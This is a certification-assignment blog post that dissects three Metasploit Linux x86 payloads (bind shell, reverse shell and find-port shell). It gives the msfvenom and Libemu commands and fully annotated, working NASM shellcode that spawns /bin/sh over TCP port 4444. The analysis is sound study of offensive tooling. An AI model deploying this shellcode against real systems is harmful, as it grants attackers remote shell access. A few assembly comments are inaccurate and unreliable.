Metasploit Shellcode Analysis - SLAE32 Fifth Exam Assignment

10 minute read

Introduction

Hello Everyone! This blog post is dedicated to Assignment 5 of the SLAE32 Exam, which is to analyze 3 different Metasploit x86 shellcode samples.

Assignment 5 - Analyzing Metasploit Shellcode Payloads

There are 3 main instructions provided to us in this assignment:

  • Pick 3 shellcode samples created with msfvenom for Linux x86.
  • Disassemble and analyze the functionality of the shellcode using Libemu/GDB/Ndisasm.
  • Walking through the analysis.

The 3 payloads which i have decided to focus on are:

  • linux/x86/shell_bind_tcp
  • linux/x86/shell_reverse_tcp
  • linux/x86/shell_find_port

Installing Libemu

First, i will describe how to use Libemu inorder to analyze and inspect shellcodes in general, as i elaborated in previous blogposts of mine.

Libemu Offers basic shellcode detection and linux x86 emulation with use of GetPc heuristics. You can install the library in two ways:

  • You can download it by visiting http://libemu.carnivore.it/
  • You can install it by using the relevant github page, following the next commands:
    git clone https://github.com/buffer/libemu
    cd libemu
    autoreconf -v -i
    ./configure --prefix=/opt/libemu
    autoreconf -v -i
    sudo make install
    

As a general template of workflow, you should follow along the instructions which will be presented below, and just change the selected module:

Using Libemu

After we have installed Libemu successfully, we will use it to analyze the MSF Generic Payload, Libemu will provide us with graphical overview of the shellcode,which will come in handy during this assignment.

Now, i will use the “sctest” tool within Libemu, which is a tool used for detecting and analyzing shellcode.

  • Note: sctest requires input data in form of raw bytes, so we have to convert our shellcode into raw data first.

First, i will generate our MSF shellcode in raw format, using msfvenom.

msfvenom -p linux/x86/**GENERIC PAYLOAD** -f raw > **GENERIC**.bin

where:

  • -p payload
  • -f format of generated payloads. For complete list type msfvenom –help-formats

The next step will be to utilize “sctest” on the raw version of the bind_shell.

cat **GENERIC**.bin | ./sctest -vvv -Ss 10000 -G **GENERIC**_shellcode.dot
dot **GENERIC**_shellcode.dot -T png > **GENERIC**_shellcode.png

where:

  • -v, –verbose : be verbose, can be used multiple times, f.e. -vv
  • -S, –stdin : read shellcode/buffer from stdin
  • -s INTEGER : max number of steps to run
  • -G FILEPATH : save a dot formatted callgraph in filepath
  • -T png FILEPATH : Transform the given file into png image.

We will be presented with graphical representation by visiting the GENERIC_shellcode.png

Which we can then analyze and infer what main syscalls are being used by the payload.

Now, i will follow along this template analyzing my selcted msf payloads.

Analyzing the Metasploit Bind Shell Payload

First, i will generate our MSF shellcode in raw format, using msfvenom.

msfvenom -p linux/x86/shell_bind_tcp -f raw > bindshell.bin

where:

  • -p payload
  • -f format of generated payloads. For complete list type msfvenom –help-formats

The next step will be to utilize “sctest” on the raw version of the bind_shell.

cat bindshell.bin | ./sctest -vvv -Ss 10000 -G bindshell_shellcode.dot
dot bindshell_shellcode.dot -T png > bindshell_shellcode.png

where:

  • -v, –verbose : be verbose, can be used multiple times, f.e. -vv
  • -S, –stdin : read shellcode/buffer from stdin
  • -s INTEGER : max number of steps to run
  • -G FILEPATH : save a dot formatted callgraph in filepath
  • -T png FILEPATH : Transform the given file into png image.

We will be presented with this graphical presentation by visiting the bindshell_shellcode.png

bindshelllibemu

As we can infer from the graphical presentation, there are 6 main Syscall stages to assemble when creating Bind_Shell Shellcode.

  • Create the socket.
  • Bind the socket.
  • Listen for inbound connection.
  • Accept inbound connection.
  • Duplicate the file descriptors using dup2
  • Execute /bin/sh with execve

Analyzing the code within the corresponding lines:

; Filename: bind_shell.nasm
; Author:  Gal Nagli
; Blog:  naglinagli.github.io

global _start			

section .text
_start:
	
; setting up the socket
       xor eax, eax    ; zeroing out the eax register
       mov al, 0x66    ; hex sys_socketcall (102 in decimal)

       xor ebx, ebx    ; zeroing out the ebx register
       mov bl, 0x1     ; assigning 1 to ebx register (SYS_SOCKET)

       xor esi, esi    ; zeroing out the esi register
       push esi        ; push 0 to the stack (IPPROTO_IP)
       push ebx        ; push 1 to the stack (SOCK_STREAM)
       push 0x2        ; push 2 to the stack (AF_INET)

       mov ecx, esp    ; keep 1st argument address in ecx
       int 0x80         ; syscall

; Bind the socket

       xchg edi, eax   ; save the file descriptor returned to eax in the edi register

       xor eax, eax
       mov al, 0x66    ; making sure we are on the socketcall syscall.

       push esi        ; esi value is 0, specifing the bind address (0.0.0.0)
       push word 0x5C11        ; push the port number (4444)

       inc ebx         ; ebx value is 2, (SYS_BIND)
       push bx

       mov ecx, esp    ; keep 1st argument address in ecx.

       push byte 16    ; push the address length (addrlen)
       push ecx        ; sockaddr structure
       push edi        ; socketfd (file descriptors)
       mov ecx, esp    ; ecx holds the args array for the syscall
       int 0x80        ; init syscall

; Listen for inbound connection

       xor eax,eax
       xor ebx,ebx

       mov al, 0x66
       mov bl, 0x4     ; ebx value is now 4, (SYS_LISTEN)

       push esi        ; push the value 0 as the backlog
       push edi        ; push the file descriptors
       mov ecx, esp    ; ecx hold the args array for the syscall
       int 0x80        ; init syscall

; Accept inbound connection request

       mov al, 0x66
       inc bl          ; ebx value is not 5, (SYS_ACCEPT)
       push esi        ; push NULL as the addrlen
       push esi        ; push NULL as the sockaddr structure
       push edi        ; push the file descriptor
       mov ecx, esp    ; ecx hold the args array for the syscall
       int 0x80        ; init syscall

; Redirect the file descriptors using dup2

       xchg ebx, eax   ; Moving the file descriptor to ebx
       xor ecx, ecx    ; clearing ecx before using the loop
       mov cl, 0x2     ; setting the loop counter

looper:
       mov al, 0x3F    ; inserting the hex SYS_DUP2 syscall
       int 0x80        ; syscall
       dec ecx         ; the argument for file descriptor(2-stderr,1-stdout,0-stdin)
       jns looper

; Execute /bin/sh with execve

       xor eax, eax
       push eax

       ; PUSH //bin/sh (8 bytes)

       push 0x68732f2f
       push 0x6e69622f

       mov ebx, esp

       push eax
       mov edx, esp

       push ebx
       mov ecx, esp


       mov al, 0xB     ; inserting the hex for SYS_EXECVE Syscall
       int 0x80

Using the bind_tcp_shell payload will spawn a bind shell on port 4444

Analyzing the Metasploit Reverse TCP Shell Payload

First, i will generate our MSF shellcode in raw format, using msfvenom.

msfvenom -p linux/x86/shell_reverse_tcp -f raw > reverseshell.bin

where:

  • -p payload
  • -f format of generated payloads. For complete list type msfvenom –help-formats

The next step will be to utilize “sctest” on the raw version of the reverse_shell.

cat reverseshell.bin | ./sctest -vvv -Ss 10000 -G reverse_shellcode.dot
dot reverse_shellcode.dot -T png > reverse_shellcode.png

where:

  • -v, –verbose : be verbose, can be used multiple times, f.e. -vv
  • -S, –stdin : read shellcode/buffer from stdin
  • -s INTEGER : max number of steps to run
  • -G FILEPATH : save a dot formatted callgraph in filepath
  • -T png FILEPATH : Transform the given file into png image.

We will be presented with this graphical presentation by visiting the reverse_shellcode.png

reverseshelllibemu

As we can infer from the graphical presentation, there are 4 main Syscall stages to assemble when creating Reverse_Shell Shellcode.

  • Create the socket
  • Connect to the specified IP and port
  • Duplicate the file descriptors using dup2
  • Execute /bin/sh via execve

Analyzing the code within the corresponding lines:

; Filename: reverse_shell.nasm
; Author:  Gal Nagli
; Blog:  naglinagli.github.io

global _start			

section .text
_start:
	
; setting up the socket
	xor ebx, ebx    ; zeroing out the ebx register
	mul ebx	       ; zeroing out eax and edx registers

	mov al, 0x66    ; setting eax to the socket_call SYSCALL
	mov bl, 0x01     ; assigning 1 to ebx register (SYS_SOCKET)	 
  
	push edx        ; push 0 to the stack (IPPROTO_IP)
	push ebx        ; push 1 to the stack (SOCK_STREAM)
	push 0x2        ; push 2 to the stack (AF_INET)

	mov ecx, esp    ; keep 1st argument address in ecx
	int 0x80         ; syscall
	mov edi, eax	; saving the file descriptor

; Connection
	
	xor ebx, ebx	; zeroing out ebx register
	mul ebx		; zeroing out eax and edx registers
	mov al, 0x66	
	mov bl, 0x03	; set ebx value to 3, (SYS_CONECT)
	
	mov ecx, 0x03020280	; set ecx register 3.2.2.128
	sub ecx, 0x02020201	; decrement 2.1.1.1
	push ecx		; push localhost (127.0.0.1) NULL-FREE
	push word 0x5C11       ; push the port number (4444)
	push word 0x02	       ; AF_INET syscall
		
	mov ecx, esp    ; keep 1st argument address in ecx.
	push byte 0x10    ; push the address length (addrlen)
	push ecx        ; sockaddr structure
	push edi        ; socketfd (file descriptors)
	mov ecx, esp    ; ecx holds the args array for the syscall
	int 0x80        ; init syscall



; Redirect the file descriptors using dup2

	pop ebx		; moving the file descriptor from the stack
	xor eax, eax	; zeroing out the eax register
	xor ecx, ecx    ; clearing ecx before using the loop
	mov cl, 0x2     ; setting the loop counter

looper:
       mov al, 0x3F    ; inserting the hex SYS_DUP2 syscall
       int 0x80        ; syscall
       dec ecx         ; the argument for file descriptor(2-stderr,1-stdout,0-stdin)
       jns looper

; Execute /bin/sh with execve

       xor ebx, ebx
       mul ebx

       ; PUSH //bin/sh (8 bytes)
	push edx	; push nullbyte to the stack
	push 0x68732f2f
	push 0x6e69622f

	mov ebx, esp
	mov ecx, edx

	mov al, 0xB     ; inserting the hex for SYS_EXECVE Syscall
	int 0x80

Using the reverse_tcp_shell payload will spawn a reverse shell on port 4444

Analyzing the Metasploit shell_find_port Payload

First, i will generate our MSF shellcode in raw format, using msfvenom.

msfvenom -p linux/x86/shell_find_port -f raw > shell_find_port.bin

where:

  • -p payload
  • -f format of generated payloads. For complete list type msfvenom –help-formats

The next step will be to utilize “sctest” on the raw version of the reverse_shell.

cat shell_find_port.bin | ./sctest -vvv -Ss 10000 -G shell_find_port_shellcode.dot
dot shell_find_port_shellcode.dot -T png > shell_find_port_shellcode.png

We will be presented with this graphical presentation by visiting the shell_find_port_shellcode.png

shell_find_port_shellcode

As we can infer from the graphical presentation, there is 1 main Syscall used when using the shell_find_port Shellcode.

  • get_peer_name

Analyzing the code within the corresponding lines:

	xor ebx,ebx     	 ; zeroing out EBX = 0
	push ebx     		 ; pushing 0 to the stack
	mov edi,esp     	 ; storing the current stack pointer to EDI
	push byte +0x10      	 ; push the address length to the stack
	push esp     		 ; push the pointer to the address length on the stack
	push edi     		 ; push pointer to the stack
	push ebx     		 ; push sockfd to start to search
	mov ecx,esp  	  	 ; move the current stack pointer to the ECX register
	mov bl,0x7     		 ; load the 0x7 SYS_GETPEERNAME value in BL (INIT the corrensponding SYSCALL)
	
loop_label:     

	inc dword [ecx]     	 ; increment file descriptor used in the loop to go to the "next" socket connection  
	push byte +0x66    	 ; push 0x66 (socketcall number) on the stack
	pop eax        		 ; pop 0x66 in EAX (socketcall systemcall)
	int 0x80      		 ; execute socketcall systemcall
	cmp word [edi+0x2],0x5C11 		 ; compare the socket source port with "4444" little endian value
	jnz 0xe        		 ; if the value does not match we go back to loop_label
	; if the there is a match
	
dup_loop_label:      
	pop ebx        		 ; pop sockfd into the EBX register
	push byte +0x2      	 ; push 2 on the stack (that will be used to perform 3 iterations in dup2 2,1,0)
	pop ecx        		 ; load the pushed 2 in the ECX register
	mov al,0x3f    	         ; push dup2 syscall value in AL
	int 0x80      		 ; execute dup2 systemcall
	dec ecx        		 ; decrement our counter (From 2 to 0 stdin, stdout and stderr.)
	jns 0x21      		 ; if we didn't reach the end (-1) we will loop back to dup_loop_label
	
; calling the execve syscall
	push eax     		 ; EAX register should now be 0
	push dword 0x68732f2f    ; hs//
	push dword 0x6e69622f    ; nib/
	mov ebx,esp    		 ; load a pointer to /bin//sh in EBX register
	push eax      		 ; push the null function argument to the EAX register
	push ebx      		 ; push /bin//shNULL pointer to EBX
	mov ecx,esp    		 ; move pointer to /bin//shNULL into ECX
	cdq       		 ; zeroing out the EAX register
	mov al,0xb   	 	 ; move pointer to /bin//shNULL into the ECX register
	int 0x80   		 ; execute execve systemcall and pop our shell

Using the shell_find_port payload will spawn a shell on an established connection on 4444 port.

And that’s it for the fifth assignment!

References

Wrap-Up

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification

https://www.pentesteracademy.com/course?id=3

Student ID: SLAE - 1543

Cheers, Gal.

Tags:

Updated: